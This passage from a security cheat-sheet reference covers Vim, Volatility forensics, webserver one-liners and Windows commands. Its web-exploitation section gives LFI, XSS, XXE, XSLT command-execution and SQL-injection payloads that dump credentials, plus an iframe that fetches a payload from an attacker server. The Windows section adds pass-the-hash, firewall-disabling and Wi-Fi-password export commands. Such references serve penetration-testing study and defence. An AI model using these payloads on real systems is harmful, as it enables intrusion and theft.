Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko)
Chrome/68.0.3440.106 Safari/537.36
Windows
Chrome 69
Mozilla/5.0 (Windows NT 6.1; Win64;
x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/69.0.3497.100
Safari/537.36
Windows
Chrome 70
Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko)
Chrome/70.0.3538.102 Safari/537.36
Windows
Chrome 70
Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko)
Chrome/70.0.3538.110 Safari/537.36
Windows
Chrome 70
Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko)
Chrome/70.0.3538.77 Safari/537.36
Windows
Chrome 72
Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko)
Chrome/72.0.3626.121 Safari/537.36
Windows
Chrome 74
Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko)
Chrome/74.0.3729.131 Safari/537.36
Windows
Chrome 79
Mozilla/5.0 (Windows NT 6.1; Win64;
x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/79.0.3945.88
Safari/537.36
Windows
Chrome 79
Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko)
Chrome/79.0.3945.130 Safari/537.36
Windows
Chrome 79
Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko)
Chrome/79.0.3945.117 Safari/537.36
Windows
Edge 40
Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko)
Chrome/52.0.2743.116 Safari/537.36
Edge/15.15063
Windows
Edge 41
Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko)
Chrome/58.0.3029.110 Safari/537.36
Edge/16.16299
313
Windows
Edge 44
Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko)
Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Windows
Firefox 33
Mozilla/5.0 (Windows NT 5.1;
rv:33.0) Gecko/20100101
Firefox/33.0
Windows
Firefox 36
Mozilla/5.0 (Windows NT 5.1;
rv:36.0) Gecko/20100101
Firefox/36.0
Windows
Firefox 43
Mozilla/5.0 (Windows NT 6.1; WOW64;
rv:43.0) Gecko/20100101
Firefox/43.0
Windows
Firefox 50
Mozilla/5.0 (Windows NT 10.0;
WOW64; rv:50.0) Gecko/20100101
Firefox/50.0
Windows
Firefox 50
Mozilla/5.0 (Windows NT 6.1; WOW64;
rv:50.0) Gecko/20100101
Firefox/50.0
Windows
Firefox 52
Mozilla/5.0 (Windows NT 10.0;
WOW64; rv:52.0) Gecko/20100101
Firefox/52.0
Windows
Firefox 61
Mozilla/5.0 (Windows NT 10.0;
Win64; x64; rv:61.0) Gecko/20100101
Firefox/61.0
Windows
Firefox 66
Mozilla/5.0 (Windows NT 10.0;
Win64; x64; rv:66.0) Gecko/20100101
Firefox/66.0
Windows
Firefox 67
Mozilla/5.0 (Windows NT 10.0;
Win64; x64; rv:67.0) Gecko/20100101
Firefox/67.0
Windows
IE 10
Mozilla/5.0 (compatible; MSIE 10.0;
Windows NT 6.2)
Windows
IE 10
Mozilla/5.0 (compatible; MSIE 10.0;
Windows NT 6.1; WOW64; Trident/6.0)
Windows
IE 10
Mozilla/5.0 (compatible; MSIE 10.0;
Windows NT 6.1; Trident/6.0)
Windows
IE 11
Mozilla/5.0 (Windows NT 6.3; WOW64;
Trident/7.0; rv:11.0) like Gecko
Windows
IE 6
Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.0; .NET CLR 1.1.4322)
Windows
IE 7
Mozilla/4.0 (compatible; MSIE 7.0;
Windows NT 5.1; .NET CLR 1.1.4322)
Windows
IE 7
Mozilla/4.0 (compatible; MSIE 7.0;
Windows NT 6.0; SLCC1; .NET CLR
2.0.50727; Media Center PC
5.0; .NET CLR 3.0.04506)
Windows
IE 7
Mozilla/4.0 (compatible; MSIE 7.0;
Windows NT 5.1)
314
Windows
IE 9
Mozilla/5.0 (compatible; MSIE 9.0;
Windows NT 6.1; WOW64; Trident/5.0)
Windows
IE 9
Mozilla/5.0 (compatible; MSIE 9.0;
Windows NT 6.1; Win64; x64;
Trident/5.0)
Windows
IE 9
Mozilla/5.0 (compatible; MSIE 9.0;
Windows NT 6.1; Trident/5.0)
V
V
V
VIM
ALL
ADMINISTRATION
WINDOWS/LINUX/MacOS
Vim is highly customizable and extensible text editor.
GLOBAL
:help keyword
open help for keyword
:o file
open file
:saveas file
save file as
:close
close current pane
MOVE CURSOR
h
move cursor left
j
move cursor down
k
move cursor up
l
move cursor right
H
move to top of screen
M
move to middle of screen
L
move to bottom of screen
w
jump forwards to the start of a word
W
jump forwards to the start of a word
315
e
jump forwards to the end of a word
E
jump forwards to the end of a word
b
jump backwards to the start of a word
B
jump backwards to the start of a word
0
jump to the start of the line
^
jump to first non-blank char of line
$
jump to the end of the line
g_
jump to last non-blank char of line
gg
go to the first line of the document
G
go to the last line of the document
5G
go to line 5
fx
jump to next occur of character x
tx
jump to before next occur of char x
}
jump to next paragraph
{
jump to previous paragraph
zz
center cursor on screen
Ctrl + b
move back one full screen
Ctrl + f
move forward one full screen
Ctrl + d
move forward 1/2 a screen
Ctrl + u
move back 1/2 a screen
INSERT MODE
i
insert before the cursor
I
insert at the beginning of the line
a
insert (append) after the cursor
A
insert (append) at end of the line
o
append (open) new line below current line
O
append (open) a new line above the current
line
ea
insert (append) at the end of the word
Esc
exit insert mode
EDITING
r
replace a single character
J
join line below to the current one
cc
change (replace) entire line
cw
change (replace) to the start of the next
word
ce
change (replace) to the end of the next
word
cb
change (replace) to the start of the
previous word
c0
change (replace) to the start of the line
c$
change (replace) to the end of the line
s
delete character and substitute text
S
delete line and substitute text (same as
cc)
xp
transpose two letters (delete and paste)
.
repeat last command
u
undo
Ctrl + r
redo
MARKING TEXT
316
v
start visual mode
V
start linewise visual mode
o
move to other end of marked area
O
move to other corner of block
aw
mark a word
ab
a block with ()
aB
a block with {}
ib
inner block with ()
iB
inner block with {}
Esc
exit visual mode
Ctrl + v
start visual block mode
VISUAL CMDS
>
shift text right
<
shift text left
y
yank (copy) marked text
d
delete marked text
~
switch case
CUT/PASTE
yy
yank (copy) a line
2yy
yank (copy) 2 lines
yw
yank (copy) chars from the cursor start of
next word
y$
yank (copy) to end of line
p
put (paste) the clipboard after cursor
P
put (paste) before cursor
dd
delete (cut) a line
2dd
delete (cut) 2 lines
dw
delete (cut) chars from cursor to start of
next word
D
delete (cut) to the end of the line
d$
delete (cut) to the end of the line
d^
delete (cut) to the first non-blank
character of the line
d0
delete (cut) to the begining of the line
x
delete (cut) character
SEARCH/REPLACE
/pattern
search for pattern
?pattern
search backward for pattern
\vpattern
extended pattern: non-alphanumeric chars
treated as regex
n
repeat search in same direction
N
repeat search in opposite direction
:%s/old/new/g
replace all old with new throughout file
:%s/old/new/gc
replace all old with new throughout file
with confirmations
:noh
remove highlighting of search matches
SEARCH MULTI FILES
:vimgrep /pattern/
{file}
search for pattern in multiple files
:cn
jump to the next match
317
:cp
jump to the previous match
:copen
open a window containing the list of
matches
EXITING
:w
write (save) the file
:w !sudo tee %
write out the current file using sudo
:wq or :x or ZZ
write (save) and quit
:q
quit (fails if there are unsaved changes)
:q! or ZQ
quit and throw away unsaved changes
WORK MULTI FILES
:e file
edit a file in a new buffer
:bnext or :bn
go to the next buffer
:bprev or :bp
go to the previous buffer
:bd
delete a buffer (close a file)
:ls
list all open buffers
:sp file
open a file in a new buffer and split
window
:vsp file
open a file in a new buffer and vertically
split window
Ctrl + ws
split window
Ctrl + ww
switch windows
Ctrl + wq
quit a window
Ctrl + wv
split window vertically
Ctrl + wh
move cursor to the left window (vertical
split)
Ctrl + wl
move cursor to the right window (vertical
split)
Ctrl + wj
move cursor to the window below (horizontal
split)
Ctrl + wk
move cursor to the window above (horizontal
split)
TABS
:tabnew or :tabnew
file
open a file in a new tab
Ctrl + wT
move the current split window into its own
tab
gt or :tabnext
or :tabn
move to the next tab
gT or :tabprev
or :tabp
move to the previous tab
<number>gt
move to tab <number>
:tabmove <number>
move current tab to the <$>th position
(indexed from 0)
:tabclose or :tabc
close the current tab and all its windows
:tabonly or :tabo
close all tabs except for the current one
:tabdo command
run the command on all tabs
:tabdo q
run the command all tabs then close
REFERENCE:
https://github.com/hackjutsu/vim-cheatsheet
318
V
V
VOLATILITY
RED/BLUE TEAM
FORENSICS
WINDOWS/LINUX/MacOS
Volatility is an open-source memory forensics framework for
incident response and malware analysis. It is written in Python and
supports Microsoft Windows, Mac OS X, and Linux. Releases are
available in zip and tar archives, Python module installers, and
standalone executables.
COMMAND
DESCRIPTION
vol.py -f image--profile=profileplugin
Sample command format
vol.py -f mem.img timeliner --output-
file out.body--output=body --
profile=Win10x64
Timeliner plugin parses
time-stamped objects
found inmemory images.
vol.py –f mem.img imageinfo
Display memory image
metadata
vol.py apihooks
Find API/DLL function
hooks
vol.py autoruns -v
Map ASEPs to running
processes
vol.py cmdscan
Scan for
COMMAND_HISTORY buffers
vol.py consoles
Scan for
CONSOLE_INFORMATION
output
vol.py dlldump --dump-dir ./output –r
<dll>
Extract DLLs from
specific processes
vol.py dlllist –p ###
List of loaded dlls by
process by PID
vol.py driverirp –r tcpip
Identify I/O Request
Packet (IRP) hooks
vol.py dumpfiles-n -i -r \\.exe --dump-
dir=./
Extract FILE_OBJECTs
from memory
vol.py dumpregistry--dump-dir ./output
Extract all available
registry hives
vol.py filescan
Scan memory for
FILE_OBJECT handles
vol.py getsids –p ###
Print process security
identifiers by PID
vol.py handles –p ### –t File,Key
List of open handles
for each process
{Process, Thread, Key,
Event, File, Mutant,
Token, Port}
vol.py hashdump
Dump user NTLM and
Lanman hashes
319
vol.py hivedump –o 0xe1a14b60
Print all keys and
subkeys in a hive. -o
Offset of registry hive
to dump (virtual
offset)
vol.py hivelist
Find and list available
registry hives
vol.py hollowfind-D ./output_dir
Detect process
hollowing techniques
vol.py idt
Display Interrupt
Descriptor Table
vol.py imagecopy -f hiberfil.sys -O
hiber.raw --profile=Win7SP1x64
Convert alternate
memory sources to raw
vol.py imagecopy -f MEMORY.DMP -O
crashdump.raw –-
profile=Win2016x64_14393
Convert alternate
memory sources to raw
vol.py ldrmodules –p ### -v
Detect unlinked DLLs
vol.py malfind --dump-dir ./output_dir
Find possible malicious
injected code and dump
sections
vol.py memdump –-dump-dir ./output –p
###
Extract every memory
section into onefile
vol.py moddump --dump-dir ./output –r
<driver>
Extract kernel drivers
vol.py modscan
Scan memory for loaded,
unloaded, and unlinked
drivers
vol.py netscan
Scan for TCP
connections and sockets
vol.py printkey –
K“Microsoft\Windows\CurrentVersion\Run”
Output a registry key,
subkeys, and values
vol.py procdump --dump-dir ./output –p
###
Dump process to
executable sample
vol.py pslist
High level view of
running processes
vol.py pstree
Display parent-process
relationships
vol.py psxview
Find hidden processes
using cross-view
vol.py ssdt
Hooks in System Service
Descriptor Table
vol.py svcscan-v
Scan for Windows
Service record
structures
vol.py userassist
Find and parse
userassist key values
vol.pypsscan
Scan memory for
EPROCESS blocks
REFERENCE:
320
https://www.volatilityfoundation.org/
https://github.com/volatilityfoundation/volatility/wiki/Command-Reference
https://digital-forensics.sans.org/media/volatility-memory-forensics-cheat-
sheet.pdf
W
W
W
WEB_Exploit
RED TEAM
ENUM/SQLI/XSS/XXE
WEB
Web Enumeration
Dirsearch
dirsearch -u example.com -e sh,txt,htm,php,cgi,html,pl,bak,old
dirsearch -u example.com -e sh,txt,htm,php,cgi,html,pl,bak,old -w
path/to/wordlist
dirsearch -u https://example.com -e .
dirb
dirb http://target.com /path/to/wordlist
dirb http://target.com /path/to/wordlist -
X .sh,.txt,.htm,.php,.cgi,.html,.pl,.bak,.old
Gobuster
gobuster -u https://target.com -w /usr/share/wordlists/dirb/big.txt
LFI (Local File Inclusion)
321
Vulnerable parameter
http://<target>/index.php?parameter=value
Ways to Check/Verify/Test
http://<target>/index.php?parameter=php://filter/convert.base64-
encode/resource=index
http://<target>/script.php?page=../../../../../../../../etc/passwd
http://<target>/script.php?page=../../../../../../../../boot.ini
Search for a LFI Payloads:
Payload All the Things
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Fil
e%20Inclusion/Intruders
Seclist LFI Intruder
https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
XSS Reflected
Simple XSS Tests
<script>alert('Found')</script>
"><script>alert(Found)</script>">
<script>alert(String.fromCharCode(88,83,83))</script>
Bypass filter of tag script
" onload="alert(String.fromCharCode(88,83,83))
" onload="alert('XSS')
<img src='bla' onerror=alert("XSS")>
Persistent
>document.body.innerHTML="<style>body{visibility:hidden;}</style><d
iv style=visibility:visible;><h1>HELLOWORLD!</h1></div>";
Download via XSS
<iframe src="http://OUR_SERVER_IP/PAYLOAD" height="0"
width="0"></iframe>
Search for XSS payloads:
Payload All The Things
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS
%20Injection
322
Seclist XSS
https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/XSS
XML VULNERABILITIES
XML External Entities expansion / XXE
XML External Entity attack is a type of attack against an
application that parses XML input. This attack occurs when XML
input containing a reference to an external entity is processed by
a weakly configured XML parser. This attack may lead to the
disclosure of confidential data, denial of service, server side
request forgery, port scanning from the perspective of the machine
where the parser is located, and other system impacts.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
Other XXE payloads worth testing:
XXE-Payloads
https://gist.github.com/mgeeky/181c6836488e35fcbf70290a048cd51d
Blind-XXE-Payload
https://gist.github.com/mgeeky/cf677de6e7fdc05803f6935de1ee0882
DTD Retrieval
Some XML libraries like Python's xml.dom.pulldom retrieve document
type definitions from remote or local locations. Several attack
scenarios from the external entity case apply to this issue as
well.
<?xml version="1.0" encoding="utf-8"?>
323
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head/>
<body>text</body>
</html>
Decompression Bomb
Decompression bombs (aka ZIP bomb) apply to all XML libraries that
can parse compressed XML streams such as gzipped HTTP streams or
LZMA-compressed files. For an attacker it can reduce the amount of
transmitted data by three magnitudes or more.
$ dd if=/dev/zero bs=1M count=1024 | gzip > zeros.gz
$ dd if=/dev/zero bs=1M count=1024 | lzma -z > zeros.xy
$ ls -sh zeros.*
1020K zeros.gz
148K zeros.xy
XPath Injection
XPath injection attacks pretty much work like SQL injection
attacks. Arguments to XPath queries must be quoted and validated
properly, especially when they are taken from the user. The page
Avoid the dangers of XPath injection list some ramifications of
XPath injections.
XInclude
XML Inclusion is another way to load and include external files:
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="filename.txt" parse="text" />
</root>
This feature should be disabled when XML files from an untrusted
source are processed. Some Python XML libraries and libxml2 support
XInclude but don't have an option to sandbox inclusion and limit it
to allowed directories.
XSL Transformation
You should keep in mind that XSLT is a Turing complete language.
Never process XSLT code from unknown or untrusted source! XSLT
processors may allow you to interact with external resources in
ways you can't even imagine. Some processors even support
extensions that allow read/write access to file system, access to
JRE objects or scripting with Jython.
Example from Attacking XML Security for Xalan-J:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
324
exclude-result-prefixes= "rt ob">
<xsl:template match="/">
<xsl:variable name="runtimeObject" select="rt:getRuntime()"/>
<xsl:variable name="command"
select="rt:exec($runtimeObject,
'c:\Windows\system32\cmd.exe')"/>
<xsl:variable name="commandAsString"
select="ob:toString($command)"/>
<xsl:value-of select="$commandAsString"/>
</xsl:template>
</xsl:stylesheet>
Manual SQLInjection
Simple test adding a simpe quote '
http://<IP>/Less-1/?id=5'
Fuzzing sorting columns to find maximum column
http://<IP>/Less-1/?id=-1 order by 1
http://<IP>/Less-1/?id=-1 order by 2
http://<IP>/Less-1/?id=-1 order by 3
…until errors stop
Finding what column is injectable
MYSQL
http://<IP>/Less-1/?id=-1 union select 1, 2, 3
(using the same amount of columns you got on the previous step)
POSTGRES
http://<IP>/Less-1/?id=-1 union select NULL, NULL, NULL
(using the same amount of columns you got on the previous step)
One of the columns will be printed with the respective number
Finding version
MYSQL
http://<IP>/Less-1/?id=-1 union select 1, 2, version()
POSTGRES
http://<IP>/Less-1/?id=-1 union select NULL, NULL, version()
Finding database name
MYSQL
http://<IP>/Less-1/?id=-1 union select 1,2, database()
postgres
http://<IP>/Less-1/?id=-1 union select NULL,NULL, database()
325
Finding usernames logged in
MYSQL
http://<IP>/Less-1/?id=-1 union select 1, 2, current_user()
Finding databases
MYSQL
http://<IP>/Less-1/?id=-1 union select 1, 2, schema_name from
information_schema.schemata
POSTGRES
http://<IP>/Less-1/?id=-1 union select 1, 2, datname from
pg_database
Finding table names from a database
MYSQL
http://<IP>/Less-1/?id=-1 union select 1, 2, table_name from
information_schema.tables where table_schema="database_name"
POSTGRES
http://<IP>/Less-1/?id=-1 union select 1, 2, tablename from
pg_tables where table_catalog="database_name"
Finding column names from a table
MYSQL
http://<IP>/Less-1/?id=-1 union select 1, 2, column_name from
information_schema.columns where table_schema="database_name" and
table_name="tablename"
POSTGRES
http://<IP>/Less-1/?id=-1 union select 1, 2, column_name from
information_schema.columns where table_catalog="database_name" and
table_name="tablename"
Concatenate
MYSQL
http://<IP>/Less-1/?id=-1 union select 1, 2,
concat(login,':',password) from users;
POSTGRES
http://<IP>/Less-1/?id=-1 union select 1, 2, login||':'||password
from users;
Error Based SQLI (USUALLY MS-SQL)
Current user
326
http://<IP>/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(user_name() as
varchar(4096)))--
DBMS version
http://<IP>/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(@@version as
varchar(4096)))--
Database name
http://<IP>/Less-1/?id=-1 or db_name(0)=0 --
Tables from a database
http://<IP>/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(name as
varchar(4096)) FROM dbname..sysobjects where xtype='U')--
http://<IP>/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(name as
varchar(4096)) FROM dbname..sysobjects where xtype='U' AND name NOT
IN ('previouslyFoundTable',...))--
Columns within a table
http://<IP>/Less-1/?id=-1 or 1 in (SELECT TOP 1
CAST(dbname..syscolumns.name as varchar(4096)) FROM
dbname..syscolumns, dbname..sysobjects WHERE
dbname..syscolumns.id=dbname..sysobjects.id AND
dbname..sysobjects.name = 'tablename')--
**Remember to change dbname and tablename accordingly with the
given situation after each iteration a new column name will be
found, make sure add it to ** previously found column name **
separated by comma as on the next sample
http://<IP>/Less-1/?id=-1 or 1 in (SELECT TOP 1
CAST(dbname..syscolumns.name as varchar(4096)) FROM
dbname..syscolumns, dbname..sysobjects WHERE
dbname..syscolumns.id=dbname..sysobjects.id AND
dbname..sysobjects.name = 'tablename' AND dbname..syscolumns.name
NOT IN('previously found column name', ...))--
Actual data
http://<IP>/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(columnName as
varchar(4096)) FROM tablename)--
**After each iteration a new column name will be found, make sure
add it to ** previously found column name ** separated by comma as
on the next sample
http://<IP>/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(columnName as
varchar(4096)) FROM tablename AND name NOT IN('previously found row
data'))--
Shell commands
327
EXEC master..xp_cmdshell <command>
**Need to have 'sa' user privileges
Enabling shell commands
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC
sp_congigure 'xp_shell', 1; RECONFIGURE;
REFERENCE:
https://github.com/Kitsun3Sec/Pentest-Cheat-Sheets
https://github.com/swisskyrepo/PayloadsAllTheThings
https://github.com/foospidy/payloads
https://github.com/infoslack/awesome-web-hacking
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
ONLINE TOOLS
UNFURL
Takes a URL and expands ("unfurls") it into a directed graph,
extracting every bit of information from the URL and exposing the
obscured.
https://dfir.blog/unfurl/
https://dfir.blog/introducing-unfurl/
W
W
WEBSERVER_Tricks
ALL
INFORMATIONAL
WINDOWS
Create a rudimentary webserver with various programming languages.
Create a webserver in AWK:
#!/usr/bin/gawk -f
BEGIN {
RS = ORS = "\r\n"
HttpService = "/inet/tcp/8080/0/0"
Hello = "<HTML><HEAD>" \
"<TITLE>A Famous Greeting</TITLE></HEAD>" \
"<BODY><H1>Hello, world</H1></BODY></HTML>"
Len = length(Hello) + length(ORS)
print "HTTP/1.0 200 OK" |& HttpService
print "Content-Length: " Len ORS |& HttpService
print Hello |& HttpService
while ((HttpService |& getline) > 0)
continue;
close(HttpService)
}
Create a webserver in Go:
328
package main
import (
"fmt"
"log"
"net/http"
)
func main() {
http.HandleFunc("/", func(w http.ResponseWriter, req
*http.Request) {
fmt.Fprintln(w, "Goodbye, World!")
})
log.Fatal(http.ListenAndServe(":8080", nil))
}
Create a webserver in JavaScript:
Works with Node.js
var http = require('http');
http.createServer(function (req, res) {
res.writeHead(200, {'Content-Type': 'text/plain'});
res.end('Goodbye, World!\n');
}).listen(8080, '127.0.0.1');
Create a webserver in Perl:
use Socket;
my $port = 8080;
my $protocol = getprotobyname( "tcp" );
socket( SOCK, PF_INET, SOCK_STREAM, $protocol ) or die "couldn't
open a socket: $!";
# PF_INET to indicate that this socket will connect to the
internet domain
# SOCK_STREAM indicates a TCP stream, SOCK_DGRAM would indicate
UDP communication
setsockopt( SOCK, SOL_SOCKET, SO_REUSEADDR, 1 ) or die "couldn't
set socket options: $!";
# SOL_SOCKET to indicate that we are setting an option on the
socket instead of the protocol
# mark the socket reusable
bind( SOCK, sockaddr_in($port, INADDR_ANY) ) or die "couldn't bind
socket to port $port: $!";
# bind our socket to $port, allowing any IP to connect
listen( SOCK, SOMAXCONN ) or die "couldn't listen to port $port:
$!";
329
# start listening for incoming connections
while( accept(CLIENT, SOCK) ){
print CLIENT "HTTP/1.1 200 OK\r\n" .
"Content-Type: text/html; charset=UTF-8\r\n\r\n" .
"<html><head><title>Goodbye,
world!</title></head><body>Goodbye, world!</body></html>\r\n";
close CLIENT;
}
Create a webserver using PHP:
<?php
// AF_INET6 for IPv6 // IP
$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die('Failed to
create socket!');
// '127.0.0.1' to limit only to localhost // Port
socket_bind($socket, 0,
8080);
socket_listen($socket);
$msg = '<html><head><title>Goodbye,
world!</title></head><body>Goodbye, world!</body></html>';
for (;;) {
// @ is used to stop PHP from spamming with error messages if
there is no connection
if ($client = @socket_accept($socket)) {
socket_write($client, "HTTP/1.1 200 OK\r\n" .
"Content-length: " . strlen($msg) . "\r\n" .
"Content-Type: text/html; charset=UTF-8\r\n\r\n" .
$msg);
}
else usleep(100000); // limits CPU usage by sleeping after
doing every request
}
?>
Create a webserver using Python:
Using wsgiref.simple_server module (Python < 3.2)
from wsgiref.simple_server import make_server
def app(environ, start_response):
start_response('200 OK', [('Content-Type','text/html')])
yield b"<h1>Goodbye, World!</h1>"
server = make_server('127.0.0.1', 8080, app)
server.serve_forever()
Using http.server module (Python 3)
import threading
330
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
class HelloHTTPRequestHandler(BaseHTTPRequestHandler):
message = 'Hello World! 今日は'
def do_GET(self):
self.send_response(200)
self.send_header('Content-type', 'text/html; charset=UTF-8')
self.end_headers()
self.wfile.write(self.message.encode('utf-8'))
self.close_connection = True
def serve(addr, port):
with ThreadingHTTPServer((addr, port), HelloHTTPRequestHandler)
as server:
server.serve_forever(poll_interval=None)
if __name__ == '__main__':
addr, port = ('localhost', 80)
threading.Thread(target=serve, args=(addr, port),
daemon=True).start()
try:
while True:
# handle Ctrl+C
input()
except KeyboardInterrupt:
pass
Create a webserver in UNIX shell:
while true; do { echo -e 'HTTP/1.1 200 OK\r\n'; echo 'Hello,
World!'; } | nc -l 8080; done
REFERENCE:
https://rosettacode.org/wiki/Hello_world/Web_server
https://www.gnu.org/software/gawk/manual/gawkinet/gawkinet.html#Primitive-
Service
W
W
331
WINDOWS_Commands
ALL
ADMINISTRATION
WINDOWS
COMMAND
DESCRIPTION
<COMMAND> | find /c /v ""
Count the number of
lines to StdOut
arp -a
Show ARP table with
MACs
cmdkey /list
List cached
credentials
dir /b /s <Directory>\<FileName>
Search directory for
specific file
dism /online /disable-feature
/featurename:<feature name>
Disable a particular
feature installed
dism /online /Enable-Feature
/FeatureName:TelnetClient
Install the Telnet
service *ADMIN
dism /online /get-features | more
List available
features for DISM
*ADMIN
for /F %i in ([file-set]) do [command]
Windows iterate over
files contents and
do %i command
for /L %i in ([start],[step],[stop]) do
<command>
Windows counting FOR
loop
ipconfig /all
Show IP configuration
ipconfig /displaydns
Show DNS cache
net accounts /domain
Show domain password
policy
net group "Domain Admins" /domain
Show Domain Admin
users
net group "Domain Controllers" /domain
List Domain
Controllers
net group /domain
Show domain groups
net localgroup "Administrators"
Show local Admins
net localgroup "Administrators" user /add
Add a user to the
Admin local group
net share
Show current mounted
shares
net share \\<IP>
Show remote host
shares
net share cshare C:\<share>
/GRANT:Everyone,FULL
Share local folder
with everyone
net time \\<IP>
Show time on remote
host
net use \\<IP>\ipc$ "" "/user:"
Establish NULL
session with remote
host
net use \\<IP>\ipc$ <PASS> /user:<USER>
Remote file system of
IPC$
332
net use r: \\<IP>\ipc$ <PASS>
/user:<DOMAIN>\<USER>
Map remote drive to
local r: drive
net user /domain
Show users in local
domain
net user <USER> <PASS> /add
Add a user
net view /domain
Show host in local
domain
net view /domain:<DOMAIN>
Show hosts in
specified domain
netsh firewall set opmode disable
Turn off Windows
Firewall
netsh interface ip set address local dhcp
Configure DHCP for
interface
netsh interface ip set address local
static <IPaddr> <Netmask< <DefaultGW> 1
Configure LAN
interface
netsh interface ip set dns local static
<IPaddr>
Configure DNS server
for LAN
netsh interface ip show interfaces
List local interfaces
netsh wlan export profile key=clear
Export wireless
password in plaintext
netsh wlan show profiles
Show local wireless
profiles
netstat –ano <N> | find <port>
Look for port usage
every N seconds
netstat –nao
Show all TCP/UDP
active ports and PIDs
netstat –s –p <tcp|udp|ip|icmp>
Show detailed
protocol stats
nslookup -type=any example.com
Show all available
DNS records
nslookup -type=ns example.com
Show DNS servers of
domain
nslookup <IP>
Perform reverse DNS
lookup
nslookup <IP> <NAMESERVER>
Perform a lookup with
specific DNS server
nslookup example.com
Show A record of
domain
psexec /accepteula \\<IP> -c
C:\Tools\program.exe -u <DOMAIN>\<USER> -
p <PASS>
Copy & execute
program on remote
host
psexec /accepteula \\<IP> -i -s
"msiexec.exe /i setup.msi" -c setup.msi
Install software on
remote host
psexec /accepteula \\<IP> -s
c:\windows\system32\winrm.cmd quickconfig
-quiet 2>&1> $null
Enable PowerShell on
remote host silently
psexec /accepteula \\<IP> -s cmd.exe
Run command as system
on remote host
333
psexec /accepteula \\<IP> -u
<DOMAIN>\<USER> -p <LM:NTLM> cmd.exe /c
dir c:\file.exe
Pass the hash run
remote command
psexec /accepteula \\<IP> -u
<DOMAIN>\<USER> -p <PASS> -c -f
\\<IP_2>\share\file.exe
Execute file on
remote host
psexec /accepteula \\<IP> hostname
Get hostname of
remote system
psexec /accepteula \\<IP1>,<IP2>,<IP3>
hostname
Get hostname of
multiple remote
systems
reg add \\<IP>\<RegDomain>\<Key>
Add a key to remote
hosts registry
reg export <RegDomain>\<Key>
<OutFile.txt>
Export all subkeys/
values from Registry
location
reg query \\<IP>\<RegDomain>\<Key> /v
<ValueName>
Query remote host for
registry key value
Robocopy /ipg:750 /z /tee \\<IP>\<SHARE>
\\<IP_2>\<SHARE>
Robocopy directory
with bandwidth
limitations
Robocopy <source> <destination> [file…]
[options]
Example syntax
robocopy
Robocopy C:\UserDir C:\DirBackup /E
Copy all contents of
local directory
route print
Show routing table
runas /user:<USER> "file.exe [args]"
Run file as specified
user
sc \\<IP> create <SERVICE>
SC create a remote
service on host
sc \\<IP> create <SERVICE> binpath=
C:\Windows\System32\Newserv.exe
start=auto obj=<DOMAIN>\<USER>
password=<PASS>
install windows
service written in C#
on remote host, with
user/pass it should
run as
sc query
Query brief status of
all services
sc query \\<IP>
Query brief status of
all services on
remote host
sc query \\<IP> <ServiceName>
Query the
configuration of a
specific service on
remote host
sc query <ServiceName>
Query the
configuration of a
specific service
sc query state=all
Show services
set
Show environment
variables
334
systeminfo /S <IP> /U <DOMAIN\USER> /P
<PASS>
Pull system info for
remote host at IP
taskkill /PID ## /F
Force process id to
stop
tasklist /m
Show all processes &
DLLs
tasklist /S <IP> /v
Remote host process
listing for IP
tasklist /svc
Show all processes &
services
ver
Get OS version
wmic <alias> <where> <verb>
EXAMPLE
wmic /node:<IP> /user:<User>
